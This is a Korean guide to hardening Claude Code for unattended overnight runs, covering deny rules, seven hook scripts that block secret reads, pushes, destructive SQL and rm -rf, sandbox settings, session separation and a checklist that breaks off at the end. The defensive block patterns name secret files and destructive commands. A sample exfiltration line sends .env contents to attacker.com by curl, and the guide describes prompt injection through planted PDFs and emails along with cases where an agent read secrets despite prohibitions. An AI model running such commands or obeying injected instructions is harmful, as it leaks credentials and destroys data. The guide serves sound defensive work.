Claude Code가 밤새 프로젝트를 망가뜨리지 않도록 설정하는 방법
Markdown7개의 hook, 권한 설정이 담긴 settings.json, 그리고 .env나 데이터베이스를 잃지 않고 Claude Code를 밤새 작업하게 두기 위한 12개 항목 체크리스트. 4중 보호.
전체 글 읽기
Ailoot 문서 — 서비스를 사용하는 데 참고할 자료입니다.
2026년의 변화: 자율적으로 작동하는 Claude Code와 실제 사고
핵심 요점
2026년 Anthropic은 auto-mode, /loop, /schedule을 출시했습니다. 이제 Claude Code는 확인을 받지 않고도 몇 시간 동안 작업할 수 있습니다. 자율성의 대가는 실제 사고입니다. 프로덕션 데이터베이스 삭제, .env 유출, 아직 수정되지 않은 permissions.deny 버그가 발생했습니다. 이 가이드는 첫 야간 실행 전에 갖춰야 할 4단계 보호 체계를 소개합니다.
이전에는 Claude Code가 응답할 때마다 멈추고 모든 쓰기 작업에 허가를 요청했습니다. 불편했지만 안전했습니다. 에이전트가 당신의 «예»를 기다리므로 사고가 난 동안 잠들어 버릴 수는 없었습니다. 2026년에 이 모델이 바뀌었습니다. Anthropic은 auto-mode를 출시했습니다. 별도의 분류기 에이전트가 각 작업을 허용할지 대신 판단합니다. 세션 내에서 일정 간격으로 프롬프트를 실행하는 /loop 명령과 장시간 작업을 위한 cron 방식의 /schedule도 등장했습니다. claude --bg로 시작한 백그라운드 세션은 터미널 없이 에이전트를 백그라운드에서 실행합니다. 자율 모드에 관한 자세한 내용은 «Claude Code의 /goal: 자율 모드와 Agent View» 가이드에서 다뤘습니다.
문제는 자율성이 보안보다 빠르게 도입됐다는 점입니다.
몇 주 전에 «정리해 줘»라고 했더니 프로덕션 데이터베이스와 개발 데이터베이스를 모두 삭제해 버렸습니다.
한편 Anthropic 저장소에는 settings.json에 permissions.deny를 추가하기 전에 알아야 할 미해결 버그가 두 건 있습니다.
- Issue #44868 (2026년 4월 7일):
CLAUDE.md에 명시적인 금지 사항이 있는데도 Claude Code가grep -n으로.env내용을 읽어 채팅 기록에 넣습니다. 버그는 미해결 상태입니다. - Issue #24846 (2026년 2월 11일):
.env*패턴에 대한permissions.read.deny규칙이 적용되지 않습니다. 올바른 거부 패턴이 있어도Read가.env.local을 읽습니다. 중복 이슈로 닫혔지만 수정되지는 않았습니다.
두 허점은 settings.json의 한 계층만으로 부족함을 보여줍니다. 권한, hook, sandbox, 세션 분리는 노출을 줄이지만 서로의 검사를 완전하게 만들지는 않습니다. 인용한 auto-mode 평가는 정규식이 놓친 동작을 잡는다는 증거가 아닙니다. 운영에서는 자격 증명·쓰기 없는 격리 OS, 모델 밖의 네트워크 제한을 쓰고 무인 실행 전에 경계를 시험하세요.
프로젝트의 녹색 구역과 빨간색 구역이란?
핵심 요점
녹색 구역은 실제 고객이나 금전 거래가 없는 로컬 프로젝트입니다. 빨간색 구역은 프로덕션 데이터베이스, 결제 또는 개인정보가 있는 모든 환경입니다. 녹색 구역에서는 최소한의 hook만으로 auto-mode를 사용할 수 있습니다. 빨간색 구역에서는 4단계 보호 체계를 갖춰야 하며, --dangerously-skip-permissions는 구조적으로 금지됩니다.
모든 프로젝트에 똑같은 보호 체계를 만드는 것은 의미가 없습니다. 외부에 배포하지 않은 로컬 개인 프로젝트와 실제 결제를 처리하고 고객 데이터를 저장하는 서비스는 위험 수준이 완전히 다릅니다. 어디서나 같은 보호 체계를 사용하면 녹색 구역에서는 속도가 떨어지고 빨간색 구역에는 여전히 빈틈이 남습니다.
다음 세 가지 조건 중 하나라도 충족되면 프로젝트는 녹색 구역에서 빨간색 구역으로 바뀝니다. 실제 고객이 생기거나, 시스템을 통해 돈이 오가기 시작하거나, 데이터베이스에 개인정보가 들어 있는 경우입니다. 그전까지는 auto-mode와 최소한의 hook을 사용하고 sandbox 없이 운영할 수 있습니다. 그 이후에는 이 가이드의 전체 설정에 따라 보호 체계를 다시 구성해야 합니다.
핵심 원칙은 보호 수준이 구역에 따라 달라진다는 것입니다. 개발 단계는 중요하지 않습니다. 테스트용 Stripe 계정을 사용하는 로컬 개인 프로젝트는 녹색 구역입니다. 유료 고객 한 명과 가입 양식이 있는 서비스는 «초안»처럼 보여도 이미 빨간색 구역입니다. 초기 프로젝트에서 이 구역을 혼동하는 것은 흔한 함정입니다. «아직 초안이니까 나중에 보호 기능을 추가하자»고 했다가 다음 주에 첫 고객이 결제합니다.
settings.json의 권한 계층 구조는 어떻게 작동하나요?
핵심 요점
settings.json에서는 deny 규칙이 항상 allow보다 우선하며, 범위(user → project → local → managed)는 덮어쓰는 대신 병합됩니다. .env, *.pem, ~/.ssh/**에 대한 사용자 수준 거부 규칙은 다른 사람의 저장소에서도 보호 기능을 제공합니다. disableBypassPermissionsMode 키는 YOLO 모드도 구조적으로 차단합니다.
Anthropic은 공식 문서에서 권한 평가 계층 구조를 설명합니다. 먼저 deny 규칙을 확인하고, 그다음 ask, 마지막으로 allow를 확인하며, 처음 일치하는 규칙이 적용됩니다. 즉, deny는 항상 allow보다 우선합니다. ~/.claude/settings.json에서 .env 읽기를 금지했는데 프로젝트의 .claude/settings.json에서 누군가 allow를 설정하면, 그 사람의 허가가 아니라 당신의 금지 규칙이 적용됩니다.
최소한의 안전한 사용자 수준 ~/.claude/settings.json 예시:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
여기서는 무엇을 하는 걸까요? 처음 여섯 규칙은 현재 디렉터리와 모든 하위 디렉터리에서 비밀 파일을 읽지 못하게 합니다. *.pem과 *.key는 SSL/TLS 키와 SSH 키입니다. credentials*.json은 클라우드 제공업체에서 흔히 사용하는 파일 이름입니다. 마지막 세 규칙은 SSH 키, AWS 자격 증명, GPG 키가 들어 있는 시스템 디렉터리를 대상으로 합니다.
disableBypassPermissionsMode: "disable" 키는 --dangerously-skip-permissions 플래그(YOLO 모드라고도 함)를 차단합니다. 이로써 한 가지 유형의 실수를 영구적으로 막습니다. 스크립트나 alias에 실수로 이 플래그를 추가해도 Claude Code가 받아들이지 않습니다. 단순히 플래그를 제거하는 것이 아니라 «mode disabled by managed settings» 오류를 반환합니다.
또한 버전 2.1.142부터 defaultMode: "auto" 키가 프로젝트 설정이나 로컬 설정에 있으면 무시됩니다. «다른 사람의 저장소에 들어갔는데 .claude/settings.json에서 자동 모드가 기본으로 켜져 있는» 상황을 방지합니다. Anthropic은 사용자의 동의 없이 저장소에서 auto-mode를 활성화할 수 없다고 명시적으로 밝혔습니다.
이것이 첫 번째 보호선입니다. 다음에 살펴볼 두 가지 허점이 있으므로 여기서 멈출 수는 없습니다.
permissions.deny만으로는 부족한 이유: 미해결 GitHub 이슈 2건
핵심 요점
2026년 4월, 사용자가 Anthropic 저장소에 issue #44868을 등록했습니다. CLAUDE.md에 금지 사항이 있는데도 Claude가 grep -n으로 .env를 읽고 내용을 기록에 출력합니다. 2월에 등록된 issue #24846은 .env*에 대한 permissions.read.deny가 Read 도구 수준에서 작동하지 않는다고 보고했습니다. 두 이슈 모두 아직 열려 있으며, 그 위에 hook을 추가하지 않은 settings.json은 구멍이 숭숭 뚫린 체라는 뜻입니다.
permissions.deny가 제대로 작동했다면 앞 절에서 가이드가 끝났을 것입니다. 하지만 그렇지 않습니다.
Issue #44868 (2026년 4월 7일): 사용자는 .env, .dev.vars 및 비밀 정보가 담긴 다른 파일을 읽지 말라는 금지 사항을 CLAUDE.md에 명시적으로 추가했습니다. Claude는 Read 대신 grep -n SOMETHING .env를 실행했습니다. grep -n 명령은 실제 API 토큰을 포함해 일치하는 행 전체를 행 번호와 함께 출력합니다. 해당 행은 tool_result에 들어가 세션 기록에 표시되고 기록에도 저장됩니다.
작성자가 강조하는 미묘한 지점은 모델의 안전 반응이 명령 실행 전에 나타나는 것이 아니라 출력이 생성된 뒤에야 작동한다는 점입니다. 다시 말해 Claude는 먼저 grep을 실행해 토큰이 포함된 행을 가져와 채팅에 출력하고, 그제야 실수를 깨닫고 «사과»합니다. 그때는 이미 토큰이 채팅 기록에 들어간 뒤입니다. 유일한 해결책은 키를 교체하는 것입니다.
Issue #24846 (2026년 2월 11일): 사용자는 **/.env* 패턴이 포함된 목록으로 permissions.read.deny를 설정했습니다. 그런 다음 Claude에게 .env.local을 읽도록 요청했습니다. Read 도구는 오류 없이 실행되어 파일 내용을 출력했습니다.
이 이슈는 중복으로 닫혔지만 수정되지는 않았습니다. 이 가이드가 작성된 시점인 2026년 6월에도 재현할 수 있습니다.
결론: settings.json의 1단계 보호는 헛수고가 아닙니다. 그러나 이 예시로 우발적 읽기 중 막는 비율을 측정할 수는 없습니다. 하지만 Bash를 통한 명령(cat .env, grep API_KEY .env, head .env), 규칙 적용 버그(issue #24846), .env가 들어 있는 커밋에 git diff나 git show를 사용하는 교묘한 연쇄는 막지 못합니다. 그래서 두 번째 단계인 hook이 필요합니다.
Hook은 인식한 위험 동작을 어떻게 차단하나요?
핵심 요점
Claude Code의 hook은 특정 이벤트(PreToolUse, UserPromptSubmit, Stop)에서 실행되는 셸 스크립트로, 종료 코드 2 또는 permissionDecision: "deny"가 포함된 JSON을 반환해 작업을 차단할 수 있습니다. 권한 설정이나 CLAUDE.md와 달리 hook은 미들웨어입니다. 모델을 거치지 않고 실행 전에 호출을 가로챕니다.
Hook은 권한과 다른 추상화 수준에서 작동합니다. 권한은 모델이 작업을 결정할 때 고려하는 규칙입니다. Hook은 다르게 작동합니다. 모델이 도구를 호출하기로 결정하면 hook이 모델과 시스템 사이에서 실행되어 입력을 확인하고 허용하거나 차단합니다. 모델은 hook의 결정에 관여하지 않습니다. 사용자가 직접 작성하는 셸 코드입니다.
Anthropic은 공식 hook 문서에서 차단 동작을 설명합니다.
종료 코드 2는 차단 오류를 의미합니다. Claude Code는 stdout과 그 안의 모든 JSON을 무시합니다. 대신 stderr의 텍스트를 오류 메시지로 Claude에 전달합니다.
이것은 두 가지를 의미합니다. 첫째, 올바르게 설정한 차단 hook은 일치한 호출을 거부할 수 있습니다. PreToolUse의 종료 코드 2는 그 호출을 막지만 모든 위험한 동등 명령을 인식한다는 증거는 아닙니다. 둘째, stderr에 의미 있는 메시지를 넣으면 Claude가 오류로 읽고 다른 방법을 시도합니다. 즉, hook은 단순한 «울타리»가 아니라 통과할 수 없는 이유를 설명하는 표지판이 있는 «울타리»입니다.
종료 코드 2로 차단할 수 있는 이벤트:
PreToolUse—실행 전에 도구 호출을 차단합니다. 방어용 hook의 핵심 이벤트입니다.PermissionRequest—Claude가 실행 허가를 요청한 작업을 거부합니다.UserPromptSubmit—사용자 프롬프트를 차단하고 삭제합니다. 프롬프트에 의심스러운 텍스트가 있는 경우(예: 심어 둔 이메일의 프롬프트 인젝션) 유용합니다.Stop—Claude가 세션을 끝내지 못하게 합니다. 조건이 충족될 때까지 에이전트를 계속 작업시키는 «loop»로 사용할 수 있습니다.PreCompact—자동 컨텍스트 압축을 차단합니다. 수동으로 결정할 때까지 기록을 보존하려는 경우 유용합니다.WorktreeCreate—worktree 생성을 거부합니다. Claude가 예상하지 못한 위치에 저장소를 복제하려는 경우를 방지합니다.
종료 코드 2 대신 hookSpecificOutput.permissionDecision 필드가 포함된 JSON을 반환할 수도 있습니다. permissionDecision에는 네 가지 값이 있습니다.
allow—일반적인 권한 절차를 건너뛰고 작업을 명시적으로 허용합니다.deny—작업을 차단합니다. PreToolUse에서는 종료 코드 2와 같습니다.ask—사용자에게 확인을 요청합니다(대화 상자가 표시됩니다).defer—일반 권한 로직에 결정을 맡깁니다.
이 방식은 종료 코드만 사용할 때보다 hook을 더 유연하게 제어할 수 있습니다. permissionDecision: "ask"를 사용하면 작업을 완전히 차단하지 않고도 조용히 처리되던 작업에 확인 절차를 추가할 수 있습니다. 저는 npm install <new package>와 잠금 파일 변경에 이 방식을 사용합니다.
Hook의 작동 방식과 Claude Code에서 현재 사용할 수 있는 31개 이벤트를 자세히 알고 싶다면 별도 가이드 «Claude Code의 Hook: 바로 복사해 쓸 수 있는 7가지 규칙»을 참고하세요. 다음으로 자율 작업을 위한 구체적인 hook을 소개하겠습니다.
밤샘 작업에 사용하는 hook 7가지
핵심 요점
일곱 상황의 PreToolUse 예시입니다. 일부 비밀 읽기, 명시적 git push, SQL·rm -rf 패턴, 패키지·manifest 변경, 일치 호출 로그를 검사합니다. 켜기 전에 일치와 누락을 로컬에서 시험하세요. 정규식은 불완전하며 운영 보안 경계를 입증하지 않습니다.
이것은 첫 번째 단계의 보호를 뒷받침하는 두 번째 단계입니다. 모든 hook은 .claude/hooks/에 두고 .claude/settings.json을 통해 등록하며 jq를 설치해야 합니다.
Hook 1: .env, .pem, credentials.json 읽기 보호
선택한 Read 경로와 흔한 Bash 비밀 읽기를 검사합니다. 모든 도구나 모든 읽기 경로를 처리하지는 않습니다. 파일: .claude/hooks/block-secret-reads.sh:
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read 도구에서 의심스러운 경로
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# cat/grep/head를 통해 비밀 정보를 읽는 Bash
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
.claude/settings.json에 등록합니다.
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
설치한 뒤 chmod +x .claude/hooks/block-secret-reads.sh를 실행합니다. 테스트하려면 Claude에게 .env.local을 읽으라고 요청하세요. 파일 내용 대신 «Secret file. Use op:// references or env vars.»라는 응답을 받게 됩니다.
Hook 2: 야간 세션의 명시적 git push 호출 차단
무인 세션에서 이 예시는 기능 브랜치를 포함해 인식한 모든 명시적 git push를 보수적으로 차단합니다. 현재 브랜치나 force 플래그의 안전성을 추정하지 않습니다. 파일: .claude/hooks/block-force-push.sh.
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
Bash matcher의 PreToolUse로 등록하세요. 인식한 push 자체를 막으므로 git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main, &&나 ; 안의 명시적 push를 잡습니다. 이는 원격 실행 명령이 아닌 오프라인 문자열 시험입니다.
여전히 텍스트 경험칙입니다. Git 별칭, 셸 함수, git -C ... push, 조합된 명령, 스크립트, 다른 도구는 우회할 수 있으며 완전한 셸 파서가 아닙니다. Git 서버에서 보호 브랜치를 강제하고 우회 자격 증명을 제거하며 운영 쓰기 없는 격리 환경에서 무인 작업을 실행하세요. 일치 실패가 운영 권한을 부여해서는 안 됩니다.
Hook 3: 파괴적인 SQL 작업 차단
파일: .claude/hooks/block-destructive-sql.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# WHERE 없는 DELETE FROM
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# WHERE 없는 UPDATE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
matcher: "Bash"를 사용해 PreToolUse에 등록합니다. 차이를 주의하세요. DROP과 WHERE 없는 DELETE는 완전히 차단되고, WHERE 없는 UPDATE는 ask가 됩니다. 마이그레이션 중 모든 레코드에 플래그를 설정하는 것처럼 정당한 경우도 있을 수 있지만, 항상 수동 확인이 필요합니다.
Hook 4: rm -rf 필터
Anthropic 문서의 표준 예시를 이유와 함께 거부하도록 수정한 것입니다.
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# 명시적인 범위 없이 rm -rf /, ~, $HOME, *
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
이 hook은 rm -rf node_modules, rm -rf .next/cache 등 범위가 명시된 삭제는 허용합니다. rm -rf ., rm -rf /, rm -rf ~ 같은 «모두 지우기» 명령은 차단합니다.
Hook 5: 새 패키지 설치 확인
이 hook은 공급망 공격에 대응합니다. Claude가 독자적으로 새 종속성을 추가하려고 하면 대화 상자가 나타납니다.
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# 잠금 파일에서 종속성 설치—허용
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# 새 패키지 추가
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
이 hook은 잠금 파일에 따른 설치는 자유롭게 진행하고 새 종속성을 추가할 때는 확인을 요구합니다.
Hook 6: package.json과 잠금 파일 보호
종속성 manifest가 변경되면 누군가 확인해야 한다는 신호입니다. 특히 밤에는 더욱 그렇습니다.
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
PreToolUse와 Write|Edit matcher를 사용해 등록합니다.
Hook 7: 모든 Bash 호출의 종단 간 감사 로그
밤새 문제가 발생하면 사건의 진행 순서를 파악할 수 있도록 전체 로그가 필요합니다. settings.json에 등록합니다(별도 스크립트는 없으며 모든 작업을 jq가 처리합니다).
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
.claude/audit.jsonl 파일은 한 줄씩 늘어납니다. 밤새 /loop를 실행한 다음 아침에 tail -n 100 .claude/audit.jsonl | jq를 실행하면 에이전트가 각 시점에 무엇을 했는지 볼 수 있습니다. 세션 기록은 길고 읽기 어려울 수 있지만 감사 로그는 명확한 시간순 기록을 제공하므로 사고 분석에 매우 중요합니다.
Sandbox와 worktree 격리는 장시간 세션을 어떻게 보호하나요?
핵심 요점
Claude Code의 sandbox는 파일 시스템과 네트워크를 격리합니다. Anthropic에 따르면 보안 수준은 유지하면서 권한 요청을 84% 줄입니다. 네트워크 격리는 에이전트가 .env를 이미 읽었더라도 원격 서버로 유출되는 것을 막습니다. 장시간 백그라운드 세션에는 sandbox + worktree가 필수입니다.
Hook이 «표지판이 있는 울타리»라면 sandbox는 «울타리 + 해자 + 드론 방어망»입니다. 이것은 네 번째 보호 단계로, hook이 작업을 통과시켰더라도 그 작업이 환경 밖에 피해를 일으켜서는 안 되는 상황을 방지합니다.
Anthropic은 sandbox 관련 블로그 글 (2025년 10월 20일)에서 내부 측정 결과를 공개했습니다.
내부 데이터에 따르면 sandbox를 사용하면 안전하게 권한 프롬프트를 84% 줄일 수 있습니다.
즉, /sandbox를 켜면 Claude가 84%의 작업에 대해 허가를 요청하지 않습니다. 해당 작업은 sandbox 밖으로 나갈 수 없기 때문입니다. 속도 측면에서 유용하지만 핵심 이점은 아닙니다.
Sandbox는 각각 역할이 다른 두 가지 격리 수준을 제공합니다.
파일 시스템 격리는 읽기와 쓰기를 명시적으로 허용된 디렉터리로 제한합니다. Hook이 /etc/hosts에 쓰거나 ~/.ssh/id_rsa를 읽으려는 시도를 놓치더라도 sandbox가 시스템 호출을 막습니다. 이는 운영체제 수준의 보호이므로 애플리케이션 계층에서는 감지할 수 없습니다.
네트워크 격리는 승인된 서버에만 연결을 허용합니다. 이는 유출 공격을 막는 데 매우 중요합니다. 시나리오: 심어 둔 파일의 프롬프트 인젝션이 Claude를 속여 .env를 읽게 합니다(읽기가 이례적인 경로로 이루어져 hook이 놓쳤습니다). 이후 모델이 curl -X POST attacker.com -d "$ENV_CONTENT"를 실행하기로 합니다. 네트워크 격리가 없다면 이 요청은 성공합니다. 네트워크 격리가 있으면 해당 호스트가 목록에 없어 curl이 attacker.com에 연결하지 못합니다.
Claude Code에서 /sandbox 명령으로 시작하세요. ~/.claude/settings.json에서 설정합니다.
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
claude --bg로 시작한 장시간 백그라운드 세션에서는 sandbox에 worktree 격리를 추가하세요. Claude Code에 내장된 기능으로, 각 백그라운드 세션은 별도의 브랜치에 있는 자체 .claude/worktrees/<name>/로 자동 이동합니다. 따라서 여러 세션이 같은 파일을 쓰더라도 서로 작업을 방해하지 않습니다. worktree 격리에 관한 자세한 내용은 «Agent View와 Worktree: Claude Code의 자율 모드»에서 다뤘습니다.
Claude가 작업을 확인할 방법을 마련하세요.
Sandbox는 피드백 루프의 일부입니다. Claude는 작업이 제한되어 있음을 알면 더 신중하게 일하고 중간 단계를 더 명확하게 설명합니다.
2026년에 auto-mode가 작동하는 곳과 그렇지 않은 곳은?
핵심 요점
Claude Code의 auto-mode는 수동 권한 설정을 Anthropic 규칙에 따른 자동 판단으로 대체하는 Sonnet 4.6 분류기입니다. Anthropic 자체 자료에 따르면 위험한 작업에 대한 거짓 음성률은 17%이며, 분류기가 연속 3회 또는 총 20회 거부하면 세션이 중지됩니다. 녹색 구역에서는 수동 승인 대신 사용하기에 적절합니다. 빨간색 구역에서는 여전히 hook이 필요합니다.
2026년 3월 Anthropic은 «수동 검토와 안전장치 없는 상태의 중간 지점»으로 auto-mode를 출시했습니다. Claude의 각 작업을 실행 전에 기준에 따라 평가하는 별도의 Sonnet 4.6 모델입니다. Anthropic은 Anthropic Engineering 블로그에서 작동 방식을 설명했습니다.
Auto-mode는 승인을 모델 기반 분류기에 위임하는 새로운 Claude Code 모드입니다. 수동 검토와 안전장치 없는 상태의 중간 지점입니다.
Auto-mode에는 두 가지 중요한 한계가 있습니다.
- 세션에서 분류기 거부가 연속 3회 또는 총 20회 누적되면 모델이 중지되고 사람에게 판단을 요청합니다. 이는 «Claude가 같은 명령을 100가지 방식으로 바꿔 제한을 우회하려고 반복하는» 상황을 방지합니다.
- 사용자가 일반적으로 승인하는 전형적인 사례와 93% 유사한 작업은 auto-mode가 허용합니다. 이로써 권한 피로를 줄이지만 전형적이지 않은 위험한 작업은 방지하지 못합니다.
그리고 주목해야 할 핵심 수치가 있습니다.
실제 과도하게 앞서 나간 작업에 대한 거짓 음성률은 17%입니다. 이것이 솔직한 수치입니다.
보고된 17%는 해당 평가의 거짓 음성률이지 프로젝트의 모든 동작 확률이 아닙니다. 예시 hook이 그 누락을 잡는다는 증거도 아닙니다. 빨간 구역의 무인 작업에는 운영 쓰기·비밀 정보에서의 강제 격리, 서버 보호 브랜치와 우회 불가 자격 증명이 필요합니다.
Hook은 일회용이며 복구 가능한 환경의 추가 검사로 쓰세요. 로컬 프로젝트에도 Git으로 복구 못 하는 미추적 파일과 키가 있을 수 있습니다. 빨간 구역에서 hook이 놓쳐도 실제 접근 제어가 막아야 합니다. 정규식 모음이 임의의 셸 실행에 확정적 안전을 보장하지는 않습니다.
컨텍스트를 세 가지 세션 유형으로 나눠야 하는 이유는 무엇인가요?
핵심 요점
가장 위험한 연쇄는 잘못된 명령 하나가 아니라 흔히 쓰는 명령 세 개가 이어지는 것입니다. 에이전트가 .env를 읽고(정당함), 들어온 이메일을 처리하고(정당함), 외부로 HTTP 요청을 보냅니다(정당함). 각각은 안전하지만 함께 실행되면 데이터 유출이 됩니다. 서로 다른 권한을 부여한 별도 세션에서 세 가지 작업 유형을 나누는 것이 보호 방법입니다.
다음 세 가지 작업 유형은 같은 세션에 있어서는 안 됩니다.
유형 1: 개인정보 작업. 세션은 프로덕션 데이터베이스에 접근하고 이메일을 보낼 수 있으며 자격 증명을 볼 수 있습니다. 외부 문서(이메일, PDF, 웹 페이지)에는 접근하지 않으며 임의의 주소로 데이터를 보낼 수도 없습니다.
유형 2: 외부 문서 처리. 세션은 받은 이메일을 처리하고 웹 페이지를 내려받으며 이메일에 첨부된 PDF를 읽을 수 있습니다. 개인정보가 포함된 데이터베이스에는 접근하지 않으며 명시적인 확인 없이 외부로 데이터를 보낼 수도 없습니다.
유형 3: 외부 게시. 세션은 소셜 네트워크에 게시하고 이메일 캠페인을 보내며 pull request를 만들 수 있습니다. 개인정보에는 접근하지 않으며 외부에서 들어온 콘텐츠도 처리하지 않습니다.
왜 분리해야 할까요? 한 세션이 모든 일을 하면, 심어 둔 PDF의 프롬프트 인젝션 하나(경쟁 업체가 «송장»을 보냈습니다)만으로 에이전트가 고객 데이터베이스를 읽고 고객 이메일 주소를 찾은 다음 공격자의 주소로 보낼 수 있습니다. 이 연쇄의 각 작업은 유형별로 보면 정당합니다. 하지만 함께 실행되면 데이터 유출입니다.
가장 무서운 유출 패턴은 잘못된 명령 하나가 아닙니다. 지극히 정상적인 명령이 연쇄적으로 이어지는 것입니다. 에이전트가
.env를 읽고(허용됨), HTTP로 보내면(허용됨), 그걸로 끝입니다.
실제로는 작업 유형마다 다른 .claude 디렉터리를 사용합니다. 컴퓨터에 세 가지 설정을 유지합니다. ~/projects/business-ops/.claude/(유형 1, 데이터베이스 접근, 내부 API를 제외한 네트워크 거부), ~/projects/inbox-parsing/.claude/(유형 2, 모든 네트워크 거부), ~/projects/social-posting/.claude/(유형 3, Telegram, Slack API에 네트워크 허용). 각 디렉터리는 자체 권한과 hook을 가진 별도의 Claude Code 프로젝트입니다.
/loop 전에 확인하는 체크리스트 12개 항목
핵심 요점
밤새 /loop, /schedule 또는 claude --bg를 시작하기 전에 확인하는 12개 항목 체크리스트입니다. 기본적인 deny 규칙이 있는 ~/.claude/settings.json부터 네트워크를 격리하는 /sandbox까지 포함합니다. 단 하나라도 충족하지 못하면 시작하지 않습니다.
.env*,*.pem,*.key,credentials*.json,~/.ssh/**,~/.aws/**에 대한 사용자 수준deny가 설정된~/.claude/settings.json. 이것이 기반입니다. 나머지는 이 설정 없이는 의미가 없습니다.~/.claude/settings.json의disableBypassPermissionsMode: "disable". YOLO 플래그를 영구적으로 차단합니다.block-secret-reads.sh예시는 선택한 읽기 명령으로 시험했고 실제 비밀 정보와 운영 자격 증명은 무인 환경에서 접근할 수 없습니다.block-force-push.sh는 플래그 순서나 목적지와 무관하게 인식한 명시적 push를 차단하고 Git 서버는 보호 브랜치와 우회 불가 자격 증명을 강제합니다.WHERE없는DROP TABLE,TRUNCATE,DELETE FROM을 처리하는block-destructive-sql.shhook.명시적인 범위가 없는
rm -rf를 막는block-rm-rf.shhook.npm install <new package>를 처리하는ask-on-new-deps.shhook (npm install만 실행하는 경우와 구분합니다.)package.json,pnpm-lock.yaml,requirements.txt,pyproject.toml,Cargo.toml쓰기를 확인하는ask-on-lockfile-change.shhook.모든 Bash, Write, Edit 호출을 기록하는 포괄적인
audit.jsonl로그. 없으면 사고 후 분석이 불가능합니다.모든 장시간 백그라운드 세션은 main 브랜치가 아니라 worktree에서 실행합니다.
claude --bg "task"는 자동으로 worktree를 만들지만settings.json에worktree.bgIsolation: "none"이 없는지 확인하세요.장시간 자율 작업을 시작하기 전에
